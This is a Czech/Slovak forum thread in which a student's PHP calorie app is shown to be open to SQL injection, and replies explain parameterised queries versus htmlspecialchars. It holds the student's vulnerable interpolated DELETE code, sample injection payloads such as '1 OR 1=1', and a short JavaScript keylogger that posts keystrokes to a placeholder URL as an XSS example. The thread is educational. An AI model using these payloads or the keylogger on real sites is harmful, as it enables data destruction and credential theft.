Aplikacia na kalorie – PHP – Fórum – Programujte.com
 x   TIP: Přetáhni ikonu na hlavní panel pro připnutí webu

Aplikacia na kalorie – PHP – Fórum – Programujte.comAplikacia na kalorie – PHP – Fórum – Programujte.com

 

Student
~ Anonymní uživatel
8 příspěvků
18. 5. 2017   #1
-
0
-

Dobrý deń,

profesor mi povedal že moja práca nie je dobrá kvoli tomu, že sa tam vyskytuje SQL injection, 

ale mam v každej funkcií ošetrene dáta pomocou htmlspecialchar ale on vyžaduje aby som to písal cez bindValue...
Viete mi vysvetliť rozdiel?

Nahlásit jako SPAM
IP: 86.110.234.–
Student
~ Anonymní uživatel
8 příspěvků
19. 5. 2017   #2
-
0
-

   

 function jedloVymazat($id)
  {
   
   $id  = htmlspecialchars($id);    
   
  if (is_numeric($id) && !empty($id))
   {
    $delete = MySQL_vymazat("tabulka","id","$id");
   
    if($delete == 1)
     {
      $vysledok ='<div class="alert alert-success">Údaje boli upravené.</div>';
     }
    else
     {
      $vysledok ='<div class="alert alert-warning">Prepáčte, ale na servery nastala chyba.</div>';
     }
    }
   else
    {
     $vysledok = '<div class="alert alert-danger">ID hodnota musí byť iba číslo.</div>';
    }
   return $vysledok;
  }  

a Vymazat

Nahlásit jako SPAM
IP: 86.110.234.–
Student
~ Anonymní uživatel
8 příspěvků
19. 5. 2017   #3
-
0
-

   

function MySQL_vymazat($tabulka, $podmienka,$pripojenie)
 {    
   global $pdo;
   
   $SQLprikaz = "DELETE FROM $tabulka";    
   if (isset($podmienka))
    {
     $SQLprikaz .= " Where $podmienka";
    }
 
   $stmt = $pdo->prepare($SQLprikaz); 
   $kontrola = $stmt->execute();          
 

  return $kontrola;    
 } 
Nahlásit jako SPAM
IP: 86.110.234.–
Kit+15
Guru
19. 5. 2017   #4
-
0
-

#1 Student
Funkce htmlspecialchars() problém neřeší, jen zasviní databázi znaky, které do ní nepatří.

Metodu bindValue() nepoužívám, na to mi stačí metoda execute(), která je IMHO přehlednější a lépe se s ní pracuje.

Podmínku bych předával zvlášť, tvůj příklad ti snadno nechtěně smaže celou tabulku. Raději použij

if (!isset($podmienka)) {    return false;}$SQLprikaz = "DELETE FROM $tabulka WHERE id=?";$stmt = $pdo->prepare($SQLprikaz);
return $stmt->execute([$podmienka]);

Co tam pohledává to ošklivé "global"?
 

Nahlásit jako SPAM
IP: 194.228.68.–
Komentáře označují místa, kde programátor udělal chybu nebo něco nedodělal.
peter
~ Anonymní uživatel
3981 příspěvků
19. 5. 2017   #5
-
0
-

htmlspecialchars - escapuje value pro html
bindValue - escapuje value pro pdo (a nejspis to dela i to execute, ja to resim trochu jinak); nemusis pouzit bindvalue, pokud to escapujes jinym zpusobem, coz se ve skole ale moc nedela

urlencode - escapuje value pro url (dalsi pr jine funkce)

Pouziti 

$x = 'xxx</b>yyy';
echo '<b>'.$x.'</b>'; // html injection, B tag se ukonci predcasne
echo '<b>'.htmlspecialchars($x).'</b>';

$y = 'aaa&bbb=1&ccc=2>"';
echo '<a href="stranka.php?bbb=2&aaa='.$y.'">odkaz</a>'; // url + html 
//injection, html se ti ukonci nejspis pres > nebo retezec uvozovkou "
echo '<a href="stranka.php?bbb=2&aaa='.htmlspecialchars(urlencode($y)).'">odkaz</a>'

$z = '1 OR 1=1';
$query = 'DELETE FROM tab WHERE id='.$z; // sql injection, smaze ti to vsechny radky tabulky
$zz = '" OR 1=1 OR 1="';
$query = 'DELETE FROM tab WHERE name="'.$zz."'; // sql injection, smaze ti
// to vsechny 

DELETE FROM tab WHERE id=1 OR 1=1 // id=1 neplati, 1=1 plati, mezi tim je 
//operace OR, podminka je vzdy true, takze delete plati pro vsechny radky
DELETE FROM tab WHERE name="" OR 1=1 OR 1="" // totez, name='' neplati, 1=1 
//plati, 1='' neplati, ale mezi podminkami je Or, takze je to rue a opet to 
//smaze vsechny radky tabulky
//A kdyz je to SELECT, tak ti tam hacker da takovou podminku, aby to 
//zobrazilo tabulku seznamu uzivatelu. Pokud nemas v db hesla sifrovana, 
//tak potes kokes
 :)

Nekdy je ale pripad, ze tam chces prave mit ten sql dotaz. Jen ho nesmi zadavat uzivatel. Nebo by to mel delat aspon pres heslo.

Nahlásit jako SPAM
IP: 2001:718:2601:25a:8574:3e...–
peter
~ Anonymní uživatel
3981 příspěvků
19. 5. 2017   #6
-
0
-

Ty hacky, to muze byt bud zamerne nebo omylem. Ukonceni </B> se ti tam vloudi spis omylem, ale zamerne bych tam dal jiny kod, treba kod na ukladani prihlasovacich udaju
- zaznamenavej stisk klaves
- odesli kazdych 5s na url

<script>
var x = '';
document.onkeypress = function(event) {x += event.keyCode;}; 
setInterval('send', 5000);
function send() {if (x!='') $.send('url',{'x':x}, function(data){x='';});}
</script>
Nahlásit jako SPAM
IP: 2001:718:2601:26c:accb:4c...–
Kit+15
Guru
19. 5. 2017   #7
-
0
-

#5 peter
To je úžasné takhle míchat SQL a HTML na jednu hromadu. Skvělý zdroj problémů.

Nahlásit jako SPAM
IP: 85.93.112.–
Komentáře označují místa, kde programátor udělal chybu nebo něco nedodělal.
peter
~ Anonymní uživatel
3981 příspěvků
19. 5. 2017   #8
-
0
-

#7 Kit
Nerozumim. K cemu konkretne se vyjadrujes?

Jen jsem se pokousel ukazat zpusob pouziti a melo by z nej byt jasnejsi, proc je ten jeho puvodni kod spatne a ze ta funkce se pouziva k uplne necemu jinemu. Osobne mam funkce pro escapovani pojmenovane jako escape. Mozna to obklopim class. Fakt mne v php nebavi, kdyz chci neco escapovat, hledat, jak tu funkci autori pojmenovali :) A v 90% pripadu nemuzu skladat dotaz pres bind ani execute. Bohuzel si zadavatel navymysli takove podminky, ze musim dotaz skladat jako string. Takze pak vyuzivam prave mnou prejmenovane escapeSqlKey, escapeSqlValue. Podobne mam escapeUrlValue, escapeHtmlValue, escapeJsValue, escapeRegExpValue ... (pripadne bez toho value, pac krom sql je to vzdy value :) )

Nahlásit jako SPAM
IP: 2001:718:2601:26c:d972:c2...–
peter
~ Anonymní uživatel
3981 příspěvků
19. 5. 2017   #9
-
0
-

Jo, samozrejme souhlasim s tim, ze escapovani html nepatri do db. Zvlast, kdyz ma omezeni na delku textu, kde proste html entity nepohlidat :) &nbsp; &gt; &#45; &#4545; &DownArrow; kazda ma jinou delku. A pak nevim, jak chce uzivateli rici, kolik znaku muze zadat, kdyz ta entita mu fyzicky text navysi na neurcito :)

Nahlásit jako SPAM
IP: 2001:718:2601:26c:d972:c2...–
Student
~ Anonymní uživatel
8 příspěvků
23. 5. 2017   #10
-
0
-

Dakujem za rady

Nahlásit jako SPAM
IP: 37.58.7.–
Zjistit počet nových příspěvků

Přidej příspěvek

Toto téma je starší jak čtvrt roku – přidej svůj příspěvek jen tehdy, máš-li k tématu opravdu co říct!

Ano, opravdu chci reagovat → zobrazí formulář pro přidání příspěvku

×Vložení zdrojáku

×Vložení obrázku

Vložit URL obrázku Vybrat obrázek na disku
Vlož URL adresu obrázku:
Klikni a vyber obrázek z počítače:

×Vložení videa

Aktuálně jsou podporována videa ze serverů YouTube, Vimeo a Dailymotion.
×
 
Podporujeme Gravatara.
Zadej URL adresu Avatara (40 x 40 px) nebo emailovou adresu pro použití Gravatara.
Email nikam neukládáme, po získání Gravatara je zahozen.
-
Pravidla pro psaní příspěvků, používej diakritiku. ENTER pro nový odstavec, SHIFT + ENTER pro nový řádek.
Sledovat nové příspěvky (pouze pro přihlášené)
Sleduj vlákno a v případě přidání nového příspěvku o tom budeš vědět mezi prvními.
Reaguješ na příspěvek:

Uživatelé prohlížející si toto vlákno

Uživatelé on-line: 0 registrovaných, 42 hostů

Podobná vlákna

Aplikacia — založil mojo

Android aplikacia — založil Peter

Android aplikacia — založil Suer

Hardvérová aplikácia — založil Martin

DATABAZA a WEB APLIKACIA — založil myth

 

Hostujeme u Českého hostingu       ISSN 1801-1586       ⇡ Nahoru Webtea.cz logo © 20032024 Programujte.com
Zasadilo a pěstuje Webtea.cz, šéfredaktor Lukáš Churý